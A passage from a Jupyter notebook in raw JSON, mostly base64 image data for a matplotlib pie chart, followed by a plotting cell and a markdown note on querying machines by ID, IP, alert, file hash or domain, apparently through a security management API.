rfmU9rSbf62O5V\\nCg97iKQRmf4Ok3R/fkVJF0h6QSna0PWSVoq1L+lbfnyKpDG+b6wyoUMlPStp10LnHbiElMF8sqSz\\nlcKEXub9TpX0E2/jIEmjJf1dKRv5JZK+6+euSlKPArItvy78+zRJ3b3PHt7nZcUsLT6310jah5Q9\\n/DKv00PSxEy5npJeyqu7aW6fpN0kmaSt/fsbfh6+IWm8z8W/JG3mxwvNU75sP/fxTJN0VubQSufb\\ny18ij7Ak6XLft4mk+3yuX5C0b2berpf0OHCby9g70/coSf0kdZR0k9edlLme20u62/saDrTPl78k\\nldVzSAn0/r7KdddyprRr266lZSjF+xs3XXS6HJt/MG6v9gs+HNeUfZDyFJ04ZNjAPzdxP0EQBME6\\nQinF6HFgK39YvVbSgfVo8xxgiJn1ISVsy4Wm3RMYSgpZ2gP4ZraSP5z9EhhoZruRwkvmcxvwC7de\\nVZEWBNbFacCVLssewL8LlOkITDSzvqRIKLk2rycliuvnY7o2U6cbKfnc10kP4pDCwB7r7RwM/J8r\\nG3fjcfKdb7Ny5uMhAJ6U7QRSKNFcorIBwMlmNrCA7DsA1/t8zCVZSp4CdtSKBJKnADcXqHuNmfX3\\nxGjtfSz5XAB8xc/HUb7vRjxfgKTtgXae6brQeT8fGOsJ0q4ghcKsNrP+pAhlP5KUW+ydO+e7kHJF\\nbG9me3p/ZxSQrRjnA294n+eWKmxm40jJ6M71Om8A1Rnl7xRS6N1snY+AcqVcEPuTst7vr5QD4iMz\\nW0AKN7u3me1OugbO8+rF7g8AJPXzPvcC9ibNUS6HwkrnW1IXUp6U3r7/Yi97JXCFz/VxpHnM0Q84\\n2sxOdNm+7X13AzY3s5dI9+JTXv9gkuLYkZQLY4H39Ttva9WprF4EfIeUrXy94YPWrbdsaRnqQ1O7\\n0wH0m3TF9hTPIL+6zAO+PmTYwOFN1H4QBEGwDlKnYmRm80gPPj8GPgaGSxpcos1ngT9KOhPonIks\\nMsHM3vRwj3eRFIssA4F7zewT77vWP0xJFd5eLifKrRTOmJzlOeB/JP0C2Majq+RTA+T+ed4O7KeU\\ndG8fUt6EyaRcCNn4/g+YWY3nAdgsJyLwv0rx+f9FiuCymeev2FRprctuwGdmlp/QbD/gbz7umaRk\\nc9v7sSfy5yLDu2aWS4B3Oym8pXlb31NauzUA+GeBuge7taCKNPe9C5R5FrhF0o9YkSPgHuDrSgnk\\nfsAKpaHYec9yOHCSz+l4YGMgZ8V7wcw+cOvkG6ywkFWRXPKakxuBU5SyfA8C7ixQZhywL+ka/F//\\nuz8pgzvAlsBjPr/nsmJ+S83TfsAIM5vv99/93i4UON8kBekL4EZJ3wQW+PFDgWt8rh8ENsxYpx7M\\n3At/B77l21ml/XDgfK8/ipTPY2sf5+0ArhBPLTA39aOy2qis/jnwcwpnnF+nmFNW9tkyaa1QjJra\\nnQ6g7ZLPu/Z484EZpUuuMrOBQ4YMG/hEE7QdBEEQrMOUDL5gZsvMbJSZ/YaUiTmXtXdppn55pvwl\\nwA9JVojntcIFLf/BJ/+7CuyrL8VkuZNk6VhIekgtZHXJx7ytOW5ByH12zJRZlCc3pCzTmwD93Brw\\nYUaWe0mJLgeR3tDns5IbW4a61iQUm9ObSVnETwDuyX/4dmvUtcDxbqW6ISPrisbMTiMlgNsKmCxp\\nY7eGPAEcTXqQvtPLFjvv+eM8IzOn25pZTgHKzmlN5nsNKyfog9rnnELyrwb3AV8lWdFe8iSH+Ywl\\nKSzbAP8gWbz2Y8XamatJVrldgJ/k5KvHPNV1Lax0vv3c7smK7OOP+rEyYEBmrrcws8/92PxMA+8B\\nsyXtSu3rU8Bxmfpbm1nuIbZxlZjK6iu870Wliq7NTChvN6ulZagvzeFOB7DNu//at90XnxVK8NhQ\\nZgB7Dxk2cEIjthkEQRCsJ5QKvrCDaq/L6UOyZgDMYoUbzXGZOj3MrMrMLiW5GOUe/PaUtK3S2qJB\\nJFejLE8C35a0sbfTJXvQzKpJGYpzb8+/T3J9y5dl+UJ7SV8G3jSzq0hvzXctMMyyTJ0TgWfMbC7w\\nlqRveTtya09dVJDcqJYorRHaJnPsbpLb0PEkJSmfMSTFKueetjXwSon+ALZWCpABSQl6BlLAAeB9\\nklJzS4F6OSXiE7eOFQwC4edyvJldQMo2nsu/ciNwFcnK82mmbP55/5yU2T3HY8Dpbm1C0vbuntUQ\\nZgF9vZ2+QM4lL7/P+lCrjpl94bJeR2E3REjn7HvAa2ZWA3wKHEmyCEG6Ht7z7ZNzleq4P7LtHuPr\\nlDqS3ORyVqiVzrefvwozewQ4ixWhsB8nvcjI9VtXiOycq1+FmVX5vseAM9wdlIw7X/Za3ZnC99Sq\\nU1l9D3AY6W3/OskzHdrPbWkZVoXmcKcD6Dvpj1uSfnNXl4dJStHrjdBWEARBsB5SymK0AWm9y8vu\\nIrYTUOnHfgtcKWkskM2GfJYvGp9CstTk3LieI63HySW4qpX118ymk9YsjPa6fywgz8mktQ5TSQ+A\\nF/r+y0kP3OOArpnyg4Bp7g7Ui7RGKZ/5QG+lxfQDM21+FzjVZZlOspDUxR3AHpJe9LrL37b62DoB\\n75nZBwXqXgu0crer4cDgXMCLEswATvb56EJ6kM/K8667+9XCUhTAG0huag8Axd7YXqYU/GAa6YF4\\nitd/ieTClVUaCp33qcBSpeANZ5MUqpeBid7mXyhsDaoP9wFd/NyeDrzqss0GnnVZLqtnW3cD53qQ\\ngVyghztIlpFCQS8ws1m+mbMQPUOyMn7m3ytJrphjSUpljmL3R67diSRldgLJ3fBGd8eEwue7EzDS\\n940GzvayZ5Kux6mSXiattyvGvSTFPRsM4SKgDTDVz9VFvv86YAPv7zyXs3GorB4L7E5yU1znmNSu\\nXduWlmFVaA53OoD2iz7tts07j69OCHcjubMeNWTYwLVK+QyCIAjWLJolwaukg4BzzKzQAv+gCZB0\\nDTDJzP7aBG1vTlp30sutJescShHvKswscp80N5UVrYHfk4K11OVauFbRt/tWs5akyIlrDU2d7DWH\\ngT2zzyWTl7TttHvp0rWYC5w8ZNjAyCQfBEEQrDYl1xgFax9u/doVXyTfyG2fRLJk/HIdVopGACeR\\nIrsFzU1l9VIqq88lWWk/K1V8bWCe9PmS2u61awXP99J/mqMfgfpOuqILaQ1jfZkE7BlKURAEQdBY\\nNIvFKAiCoEFUVmxDcvHbs6VFWR1Gty+f+tMvbdo467Gakc1n29t/un5Zsyl0M3t+Z/T7W+xfKi1E\\nDcl9+tdDhg1c3AxiBUEQBOsJYTEKgmDNpbL6bVL0v7XaevdMh/ZzWlqGhtBc0ely7PDa8P1bLV04\\nvY4i/yaF4v7FqipFSomY/5b53lrSx5JG+vejJJ3fMMkbjqReWpHwuZ8yCcHXFZSSeI8sciyboP0R\\nTzPRVHJ0Vu2E65tLujdfxuy1IOkYSTutYj+3SHrLz+sUSYc05jhWQY5ypUTpUyRNl/TbzLE7JL3i\\na15vygVFaia5ZknqWrpko/S1/PpqYP1bJBUMUNVUSDrNvXOKHV9+3Qa1Wd3zDaEYBUGwplNZvZjK\\n6rOAQ4C1MuLYi+XtWpUutWbSXO50AMLK+k6+sh1mhZSevwO7Dhk2cFQDm58P7CypvX8/jBWRIzGz\\nBz2cfmk5E431//MY4B+eDHo2KVH3eomZHenBgZqKzmTm18zeN7OVHnrzroVjSIGnVpVzPXXHWcCw\\nhgi7Oijl4VsEDLSUpL0PcISkvb3IHaSgVLuQ0kf8sLllDApjZsPMrFCwsNzxgtdt0DiEYhQEwdpB\\nZfVTpLVzl5LyWK01vNO6zZdaWoaG8sCAsm1Ll2o8Os17d7tNP56YjUz4CfD9IcMGDhoybODqrjn7\\nJ/A13z6BlGwcAEmDPWgNkjaTNMLftE+RtI+k7pJmSLoWmAhsJemEXOROSZd63Vb+lnmaHzvb9/eR\\n9LxHihwhaSNJR5IenH8o6WlS5NYebmlYKaqmpJO8/pSc9UvSNpKe9P1PStra998i6TpJT0t6U9KB\\nbhmYIemWTJvzJF0q6SVJ/5K0p791fVPSUV6mu6Sxkib6Zx/ff5CXvVfSTLdC5EL8H+H7ngG+WZ+T\\nk7MkZOb6Brd0PJ5TaCX1kPSoyztWBXLmSapUCqCT+z5NKfBJrfn1fqYVqD9Y0jU+zqNIEVone98T\\nM+V6Kq3prYvnSAnfc3X6SRrt8j8mqZvv7+/n8DmXbZrv761k9Znsx3v6+cpaviolDfXz8bSkO4Eq\\nS8zzYm38YwBm9ogfN1J00YLJpyWdK+kF7/u3ebKWS+ro52jnYuXrQtIDPhfTJf04s39eZvv43DXr\\n1/VVksb5NZpN0XKe0j03RVL2Jce3fA5flad8UbpPL8vI+hPfLz/3L0t6GNi0iNxnepmpku7OnIeV\\nrjufo4ddrmmSBvnxWX4uJ/hnu/x2JG2ndF9OUbr3emSvWz8HN/u4Jymli6n1e+bfR/r1UfD3KW9s\\nK/3++f6fe71pks7yfd2V7vMbff8dkg6V9Kyk1yTtmRnTrUr38ixJ35T0B5fhUa1I43KBn5Npkq6X\\nlv+ejMrMVfY8tpd0t5+H4SQlv+jvcH0IxSgIgrWHyuqFVFafD/QHSj2QrBEslBYsFt1bWo6G4u50\\nM0qXbDx2mnHLvmXLFr9KSrGw45BhAxsrkMzdwHeUklzvSgokU4irgNH+pr0vKWUDwA7AbW7dWUJS\\n0geS3sb3l3SM6XKj+QAAHExJREFUb29hZjt7gudcWoPbgF+Y2a6kVAm/8fxjw4ArzOxg4HzgDU+q\\nfG5WIEm9gV+ywgLwMz90jcu0K8kKcFWm2kYu39nAQ8AVQG9gF63IbdYRGGVm/Ug53S4mWdOOZUX6\\nio+Aw8ysLykNRraP3UnK3U7Al4F9fX5vAL5BcoVtyIuBnsCfzaw3MIcV+RKvJyUK7wecQ0p3UV+K\\nzm8hzGwcKQfiuV7nDaA6M3enUDhXYJYjSGkx8Ie/q0nJ1fsBN5HSlEC6Tk4zswHUToFyGnClW5/2\\nILmT3k06Dzm+Ddzj23uSgiPt5H22Ukpr8RHwhJnVuuZdpu+zIjl49tjhpPOwJ+m67ifpADN7wefl\\nYuAPwO1mNq1Y+RLz8wOfiz2AM+W5LEvQjZRQ/eskZRdJXyVZ9/by++MPmfKtzWxP0nX6G993KlBt\\nZv1J/09+JGlb0nW/A8mS9iNgnyIynA/s7vddXekwIF0D75vZbma2M7Xneq7Ldg3wpwJ17yDdB7u5\\nLPkpX4YA+G/NCaQUO3UlvC/2+5Rlpd8/Sf1I1/tewN6k+cpFEd2O5O6+K8kKeSLp/JwD/E+m3R6k\\nF1NHk4KDPe0yLGTFC6trzKy/z1N70jnOUeg8ng4s8PPwO1bkNK3POAsSilEQBGsfldWTST/Q5wCr\\nEsms2Zncrt2bJLeWtZbnezVPstccZVbzRv+XLvnxkGEDTx4ybOAnpWvUDzObCnQnPUA8UkfRgXhe\\nODNb5gnGAd42s+d9uz9JofjYzJaSHmAOAN4EvizpaklHAHMlVQCdzSyXlPxWL7sqDATuNbNPXK5P\\nff8A4E7f/hvpgSTHQ24RqAI+9OTSNSRFr7uXWcyKB7Uq0gPREt/OlWkD3KCUa+8earuWTTCzf3u7\\nk71OL+AtM3vN+2+IYvuWmU327ZeA7koJrfch5YibTMqF160Bba8ONwKnKN3Tg1gx9/lcJulN0tj/\\n1/ftAOwMPOHy/wrYUmldVSdXxMhr8zngfyT9AtjGzBZ6brtNldaa7AZ8ZmbvePkJZvZWrrJfv31I\\nFqE95ZadDNcCY8xsLCtzuH8mkaykvUiKDySl+TCSQvOHepQvxplKef2eJyWRL1Ue4AEzq/E8jZv5\\nvkOBm80jW2buD4D7/e9LrLimDwdO8vMwHtjY+z4AuMvn7X3gqSIyTAXukPQ9SnswVAGHusVj/8zv\\nCaywWt9FupeXI6kT6eF+hI/pC1s5cud+pPseM5sJvA1sX4csK/0+FShT6PdvP2CEmc13K+T9pJce\\nkO7V7G/Lk5nfne6Zdv+Z+W1pRe3fnVy5gyWN99+agaQXOTkKnccD8N8X/32fugrjLEgoRkEQrJ1U\\nVi+jsvr/SA8aBRd2rwk806H809Kl1mya0Z1uAfDfwG57TBw1ulThBvIgKardXaUKFmB+Zrtgji1L\\nSZ53I+V6G0J6kG4MhLtBlSBbJpcovCaznfueS669xB9iapXzh5xcmbOBD0nj2gPIJivOtrssU6eg\\nrEruY5MllZqXQu2WkRJp98l8dixQdym1n2/qeoO+qtwHfJX0JvslS0nFC3Eu6U36r0iKMKRzOD0j\\n+y5mdjh15GszsztJ7nwLgcckDfRD9wLHk5SzuzNV5lMAS2u3RpGsF0kY6TfAJsDPi3Qv4PcZebez\\nFbkRuwAbkJKMl9ej/MqNpxyXhwID3DoxKdNW9vrJP3/Za0OZv8Xuj1z57PUpkuUxJ+u2ZpZL6F6f\\n++xrwJ9JFoqXJLWmyHVnZq96uSrg95IuyJSxItvZsdVFsTLFZGno71NdsuT/tmR/d1rnl/Pflvzf\\nndZu6bqWZFHdhWR1Ls+vT+3zCAXO1+r8DodiFATB2k1l9VtUVn+D9ObouZYWJ58XysvX+t/ZZnCn\\nW0pykeq548wZl+w4c0ZThuG+CbjQzKrqKPMkyUUj54q0YYEy44EDldbEtCJZoUYrRdsqM7P7gF8D\\nff2N62c5v3iS61Ihxe9z0oNmMZm+nXM1ktTF948DvuPb3wWeqWNcDaUC+MAfaL5PettbFzOBbSX1\\n8O8n5A6Y2Vf8QXSVF/ub2VzgLUnfguXrQXYrUHQWyQUISX2BnGJf1/wWo1YdM/sCeIz0Rr1O9xyf\\nryuBMklfAV4BNpE0wGVrI6m3P8R9rhWBEXLnE0lfBt40s6tISn0u7P/dXu54kpK0EpI2cWsUSmu0\\nDiWdGyT9EPgKcIIVz0n4GPADt9QhaQtJuTU315Ou7ztILqWlyheigmTtWqC0VmzvzLEPJe2oFOTk\\n2DrayPG4993B++5SovxjwOmZtS3bS+oIjCG527ZSWv91cH5Fl2krM3saOI8U1GMDilx3kjYnuXvd\\nTnop0zfT3KDM31r/v/x6/7e76CKpXW58GcaQ7nskbQ9sTbrOZgF9JJVJ2gpPeVHo96nA3BT6/RsD\\nHCOpg8/TsUAhK+PqkFOCPvFrqD4BJrLj3xm/P+o5zoKs9f+wgyAIAKisHktl9T4kP/OXW1qcHLPa\\ntN6kpWVoDJrQne5eoPeOM2f8ZMeZM95voj6W425fpcK//4zk0lFFctvonV/AzD4gWbeeBqYAE83s\\nH6SF9qPcRecWLwNwMsm9airJ//3CAm3OBp71BcOX5R2bTvKhH+2uR3/0Q2eSXLumkpSWn9H4XAuc\\nLOl5kptOQatERtYvgB8DDysFX3i7EWX5LnCqz8F00nqFfO4Duvg5OB141eUqOr91cDdwrtLC9pyi\\ndwfpLfXjxasl/K34xcB5lqItHg9c6vJPZsUallOB6yU9R3o7n3O3GgRM87H0Iq1Vy10PnYD3/Fos\\nRDfgab82XiCtMcpZ14eR3NCecwveBQCS9shZ89yCcqeXqSLdq52UQkkvdWvWJaT1dQOLla9jeh4l\\nWQqmAheR3OlynE/yBHiKldfVrISZPUpSHF/0uTqnRJUbSf8nJioFMvgLyQoxAniNZN25jsIvMFoB\\nt/sYJ5HWCM6hyHVHWq80wff/knQ95GgnaTzpvi0UIOD7JHfDqaSXIPnr9a4FWrksw4HBZrYIeBZ4\\ny8dxOcm1EYr/PmVZ6ffPzCZ6+Qmkl0I3uktno+FzeIPL/ADpmi3FdcAGPj/nuXxQZJxKodDrXBMW\\nCV6DIFj3qKxoRXoQ/S1Foi01B4thcb/uW4lmzBHSVDRBstengPN3nDmjPv/8gmCNQSliWIWZ/boR\\n29zA126glEOpm5k1hZIbrCFImgXskVs3GKwZtC5dJAiCYC2jsnoZcBOVFXcCPyW9Pdys7kqNT1W7\\ndm8gFVoDsdaRc6crX8LqjmcU8LsdZ874VyOIFQTNiqQRpOhaA0uVXUW+Jum/Sc9lbwODG7n9IAjq\\nQViMgiBY96msaEda53AWaUFms3DlRhVjb+xcsX/pkmsH/zVy2eiDquzABlQ1Urjo3+84c8bzpQoH\\nQRAEQUsQilEQBOsXlRUHkxSkr9PE6yxP7LbZ2KryduuMYtRttr1z5fXLtl6FKgtIEbn+tOPMGa+W\\nKhwEQRAELUm40gVBsH5RWf008DSVFduRFpmeQkpy2ei82bZNfZIVrjV8sLG2rqc73TTgr8BtO86c\\nsdaHKw+CIAjWD8JiFATB+k1lRWdS5vgTSSG/65M7oiRLYenu3bdaSt1ZyNc66nCnm0uK4PXXHWfO\\nmFDgeBAEQRCs0YRiFARBkKOyYktSbpATgd1Xp6mqtm1fO3GLL9Uni/taRZ47XQ0pj8TNwL07zpyR\\nn5U9CIIgCNYaQjEKgiAoRGVFL5KCdAIpg/0qMazzhs/+eaPO+za6XC3P0uuvWvr3zvMZC4zYceaM\\npspvFARBEATNSihGQRAEpais2Bk4jJQ5/kDqsSZp8Jc2HfNS+/IDmlq0ZuJTUjLLB4F/Vp1cNacx\\nG5d0LHA/sKOZzWzMtuvZ/yPAiZ5gsNDx00iZ629rXsnWTSR1Js33tS0tS2Mg6RjgVTNbpcTSkuaZ\\n2QZNJFYQBA0gFKMgCIJVobKiDTCApCQdBvQnZUKvxT5bbzn181ZluzazdI3FbJKL3Cj/VFWdXNVk\\n/ywk/R3oBjxpZpVN1c/6gqRWZraspeUohqTuwEgz27mFRVmJhsydpFtI47l3FeuFYhQEaxhNGqo2\\nCIJgnaOyegmV1WOorL6AyuoBwMbAUcDFwD+Bj2qg5vMy9WhROevPUlIUuTtIUfr6AJtUnVz1zaqT\\nq66qOrlqahMrRRsA+wKnktZ3FSrTUdLDkqZImiZpkO+fJamrb+8haZRvHyhpsn8mSeok6SBJYySN\\nkPSypGGSygq0c5Kkqd7X33xfpaRzfLuPpOe9zAhJG/n+UZL28O2untUeSb0lTXBZpkpaad2ZpHmZ\\n7eP9QRtJ3/LxTpE0xve1knSZpBe8vZ/4/oMkPS3pTqCqQB/XSXpR0nRJv83s7y9pnPcxweeqlaTL\\nJVV5H2d42UN8Pqsk3SSpXYnzUOnlRkl6U9KZ3u0lQA+fk8vy5DwvV07SFZKeyvR9e4mxXOLndqqk\\nywvMwQaSbs6M67jc/Eu6UNJ4YICkfpJGS3pJ0mOSunm5H/m8T5F0n6QOkvYh3f+X+Xh6+OdRrz9W\\nUi+vv62k57yNi/LlC4Kg5Ylw3UEQBKtDZXU1KXnpQ7ld71688RZIuwO7+GcnoDtQ0RIiOjXAB8Dr\\nwBT/TAamV51ctagF5ToGeNTMXpX0qaS+ZjYxr8wRwPtm9jUASaXm8RxgiJk9q6R4feH79ySdi7eB\\nR4FvAsvf8kvqDfwS2NfMPpHUpUDbtwFnmNloSRcCvyHlxSrGacCVZnaHpLYUsC7WwQXAV8zsPSX3\\nM0gKZLWZ9XfF5FlJj2fGt7OZvVWgrV+a2aeSWgFPStoVmAkMBwaZ2QuSNgQWAj8GtgV2N7Olkroo\\nRVe8BTjEz9VtwOnAn0qMoRdwMNAJeEXSdcD5LmefAuXHAEOBq4A9gHaS2gD7AWPrGMu/gWOBXmZm\\nmfnK8mufu10AckotyTV2mpld4H2NBo42s4+VlPDfAT8A7jezG7zuxcCpZna1pAfJWIwkPQmcZmav\\nSdoLuBYYCFwJXGdmt0kaUmLegiBoAUIxCoIgaGS2+dXs96rgPWBkdv8ut+7SGdiGpCTl/m4BbAR0\\n9k+F/21bz+4WAZ8Dc0hrgWYDH5Me/mdl/r5bdXLV4gYPquk4gRUP13f793zFqAq4XNKlpAfQsdTN\\ns8AfJd1Bepj9tySACWb2JoCku0gP21n3p4HAvWb2CYCZ1crB5ApZZzMb7btuBe4pIctzwC8lbemy\\nvFaifP44blFyNbzf9x0O7CrpeP9eAfQEFvv4CilFAN+W9GPS//1uJAXRgA/M7AUAM5vr4zwUGGZm\\nS33/p5J2A94ys1yi3luBIZRWjB42s0XAIkkfAZuVKP8S0E9SJ9K1PZGkIO0P5CxOhcbyMkkBvlHS\\nw+Tde86hZKySZvaZby4D7vPtHYCdgSf8mmlFeqEAsLMrRJ2BDYDH8jtwRXwf4B6vD9DO/+4LHOfb\\nfwMurXsqgiBobkIxCoIgaCY8aMEckrWmTna5dZf2pIevYnmVlgLz1lBlp15I2pikjOwsyUgPoSbp\\nPMssgHULRT/gSOD3kh43swtJc5BzCS/PlL/EH46PBJ73B31IikCW/O8qsK++FJPlTnfR+hrwmKQf\\nmtlTdciRrXuaWxy+BkyW1MdlPMPMaj2USzoImF9IMEnbkqxo/c3sMyVXvXKKj7fQ/rryexUcu5O1\\nRi6jxHOHmS1RckM8BRgHTCVZnHoAM4qNxS1bewKHkJSfn5KurVLjAvgis65IwHQzG1Cg3C3AMWY2\\nRdJg4KACZcqAOUWsYRTpPwiCNYRQjIIgCNZAqk6uWkhya1qXOR64zcx+ktshaTS13aaQtDnwqZnd\\nrrQeZ7AfmgX0I63tOi5TvoeZVQFVkgaQ3LnmAHv6g/XbwCDg+jx5ngRGSLrCzGZL6pK1GplZtaTP\\nJO3vVqvvk9yusrJM8HHlZPky8KaZXeXbuwL5itGHknYEXiG5g32eGcd4YLykbwBbkawUp0t6ypWI\\n7UnWybrYkKQ0VUvaDPgqKajGTGBzSf3dla4T6Zp7HDhN0qicK52X7S5pOzN7vcjYa52HOvic5FpX\\njDEk5ecHJGvhH4GX3EWu4FjcUtPBzB6R9DzJZTSfx0kK01mQXOkyVqMcrwCbSBpgZs+5a932Zjbd\\nZf7A932XFfO+fDxmNlfSW5K+ZWb3KJmNdjWzKSQL4HeA271+EARrGBF8IQiCIGgpTgBG5O27j5Q/\\nKssuwARJk0lrgC72/b8FrpQ0lmSNyHGWPGgB6UH/n77/OdLC/2nAW/l9+8Pv74DRXvePBWQ+mbTQ\\nfiopUMWFvv9yksIyDuiaKT8ImOay9yKtUcrnfJLr11OscNvC+6mSNI2kLEwBbiS5jU30/X+htBVm\\nCjAJmA7cRHpAx8wWu3xX+3ifIFl8bgTeAab6/hPN7AuSFeceSVWkNWvDvIti56GYPLNJa6OmKS/4\\ngjOW5CL3nJl9SHKRG1vXWEiKyUg/L6OBswu0ezGwUebaOLiAbItJiu2lXmYyyTUO0hql8T5P2bDy\\ndwPnKgWm6EFSek71+tOBo73cz4Ahkl6gZdcbBkFQhAjXHQRBEKzzuKvZOWb29ZaWJQiCIFgzCYtR\\nEARBEARBEATrPWExCoIgCIIgCIJgvScsRkEQBOsQkkyemNS/t5b0saRC4Yuz9Q7KlZF0lKTzS5Qf\\n1zgSNy2SuvtanIbWP0tSh8z3R4rkyMnWWZ7wNG///6yOXJI2kTTe17Lsn22vrr4agjJJZ1saSZ0l\\n/Vfm++aS7q2rTgP7Oage90kfSUeuRh+1rqfGkisIgsYhFKMgCIJ1i/mk8Nft/fthlI5aVgsze9DM\\nLilRZp+6jjc1Ssk9m4OzgOUPsmZ2pJnNaWBbq6WskEJRzzSz3T0qXl3trW5faxKdgeWKkZm9b2bH\\n11G+KelDCgPfUGpdT0EQrFmEYhQEQbDu8U9S7htIkd/uyh2QtKekcW51GCdph/zKkgZLusa3N5M0\\nQtIU/+zj++f5X0m6zCN9VUka5PtrveWWdI1S7hckXSLpZUlTJV1eoP8NJN3s7U2VdFyuT0kXKuUF\\nGiCpn6TRkl6S9Jikbl6un8v6HCkJaa7dVi7rC97uTzKyjpJ0r6SZku7wcZ0JbA48LelpL7vcGiTp\\nAe97ulLC0aJIugRoL2myUuJZgFaSbvD6j+eUWUk9JD3qbY+V1Esph9EfgCO9jUsLtFe0L0k/93M0\\nTdJZmbIF99cxju9JmuBt/8XndBtJr0nqKqnMZT68WHnff4SkiX6envR9lZLOyfQ1TVJ3UiTBHt7G\\nZcpY2ySVZ66VSZIO9v2DJd3v8/iapD8UGc8Rfs6fAb6Z2d9R0k1+rUySdLSktqQohINclkGFynn9\\nVpIuz1zDZxS5ng6X9JzPxT1KYceLyhUEQRNjZvGJT3ziE5915APMI+XKuZcUenkyKRHlSD++IdDa\\ntw8F7vPtbJnBwDW+PRw4y7dbARW5fvzvcaTwxa2AzUhhnrtl2/Ny13i7XUi5YnJrXDsXGMOlwJ8y\\n3zfyvwZ827fbkBKAbuLfBwE3+fZU4EDfvgyY5ts/Bn7l2+2AF4FtXdZqYEvSC8PngP283Cyga0aW\\n5d+BLv63PSkE+MaF6mTPTWa7Oykxah///nfge779JNDTt/cCnso/L/ntleirHykfUEdS0uDpwO7F\\n9hdrG9gReAho49+vBU7y7R+Srrlzgb/UVR7YBHgX2DZvHitJkQNz/U3zeeqeO4eZucud06HAzb7d\\ni3T9lftcvUkKi11Oyl21Vd54yl2OnqTErn9nxT3wv5nz0Rl41ecp/xwUK3c6KfR867wxLr82SGHd\\nxwAd/fsvgAvqkis+8YlP034iwWsQBME6hplN9TftJwCP5B2uAG6V1JOkaLQp0dxA0sMsZraMpEBk\\n2Q+4y499qJSgtT8wt0h7c0l5aW6U9DApf08+h5ISYebGk0vCuYz0sAmwA7Az8IQkSIrZB5IqSMpW\\nLvno30hJQAEOB3aVlHPDqiA9fC4GJpjZvwGUcg51B54pMoYcZ0o61re38rZml6iT5S0zm+zbL5ES\\nqG5Ayptzj48LkhK3OuwHjDCz+QCS7gf2Jz10F9o/qUg7h5CUqRdctvbARwBmdqOkbwGnkdzN6iq/\\nNzDGzN7yup/ScPYDrvZ2Zkp6G9jejz1pZtU+tpeBbUgKR45epHPwmpe5naQ8Q7pWjspYsMqBrQv0\\nX6zcocAwM1taxxj3BnYi5XQCaEtSyuuSKwiCJiQUoyAIgnWTB0lJRw8CNs7svwh42syOdeVp1Gr2\\noyL7l1LbXbscwMyWStqT9ND8HeCnJOUrv81CIVO/cAUsV2a6mQ2oVTEFRigWblXAGWb2WF6dg4BF\\nmV3LKPH/0escCgwwswWSRuFjXAXy+2xPmrM5ZtancJUGUewcFdtfVzu3mtl/r3QgBRTY0r9uAHxe\\nrLykoyh8jgpeM/WQqRj1Oad1XSvHmdkrtXZKe9WzXLFrOL/uE2Z2Ql7dPvWoGwRBExBrjIIgCNZN\\nbgIuNLOqvP0VrAjGMLge7TxJcgvKrZvYMO/4GNKai1aSNgEOACaQXJd2ktTOrTiHeBsbkNzxHiEt\\nRC+kADxOUpjwOhsVKPMKsImkAV6mjaTelgIjVEvaz8t9N1PnMeB0SW28zvaSOpYY/+dApwL7K4DP\\nXCnqRXr7X4olub6LYWZzgbfc+pJbw7VbA9rLHhsDHCOpg4/3WGBsHfuL8SRwvKRNXbYukrbxY5cC\\nd5BcwW4oUf454EBJ2+b2e/lZQF/f15fk5gjFz0FubN/1OtuTrDWvFCmbz0xgW0k9/HtWQXkMOMMV\\nHCTtXkSWYuUeB06T1DpvjNn6zwP7StrOy3TwMdQlVxAETUgoRkEQBOsgZvZvM7uywKE/AL+X9CzJ\\n/awUPwMOllRFcvfqnXd8BGlNzxTgKeA8M/uPmb1LWhsxlfTAnHPP6gSMlDQVGA2cXaDPi4GNlBbf\\nTwEOLjC+xcDxwKVeZjLJBQ3gFODPSsEXFmaq3Qi8DExUWrz/F0p7TlwP/DO3WD7Do0BrH8dFpIfc\\nUlwPTFVesIQCfBc41cc1HTi6Ae0tP2ZmE4FbSArreOBGM5tUbH8xoczsZeBXwOM+7ieAbpIOJLlP\\nXmpmdwCLJZ1SrLyZfUxyDbvfxzjcu7gP6OKujKeT1utgZrNJ7mbTJF2WJ9a1pCAWVd7OYDNbRD0w\\nsy9cjoc9yMHbmcMXkdxMp/q1cpHvf5qk8E9WCjRSrNyNpPVOU32MJ/r+5deTz8Ng4C6fn+eBXiXk\\nCoKgCYkEr0EQBEEQBEEQrPeExSgIgiAIgiAIgvWeUIyCIAiCIAiCIFjvCcUoCIIgCIIgCIL1nlCM\\ngiAIgiAIgiBY7wnFKAiCIAiCIAiC9Z5QjIIgCIIgCIIgWO8JxSgIgiAIgiAIgvWeUIyCIAiCIAiC\\nIFjvCcUoCIIgCIIgCIL1nlCMgiAIgiAIgiBY7wnFKAiCIAiCIAiC9Z5QjIIgCIIgCIIgWO8JxSgI\\ngiAIgiAIgvWeUIyCIAiCIAiCIFjvCcUoCIIgCIIgCIL1nlCMgiAIgiAIgiBY7wnFKAiCIAiCIAiC\\n9Z5QjIIgCIIgCIIgWO8JxSgIgiAIgiAIgvWeUIyCIAiCIAiCIFjvCcUoCIIgCIIgCIL1nlCMgiAI\\ngiAIgiBY7wnFKAiCIAiCIAiC9Z7/B1WCPH7LBdluAAAAAElFTkSuQmCC\\n\",\n      \"text/plain\": [\n       \"<matplotlib.figure.Figure at 0x12d9fe32cc0>\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    }\n   ],\n   \"source\": [\n    \"# show a quick pie chart using matplotlib\\n\",\n    \"%matplotlib inline\\n\",\n    \"plt = df1.plot.pie(y=0, figsize=(5, 5), legend=False, autopct='%1.0f%%')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Querying machines\\n\",\n    \"You can query machines by machine id, user id, ip, alert id, file sha1, domain, OData query, and more\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 47,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      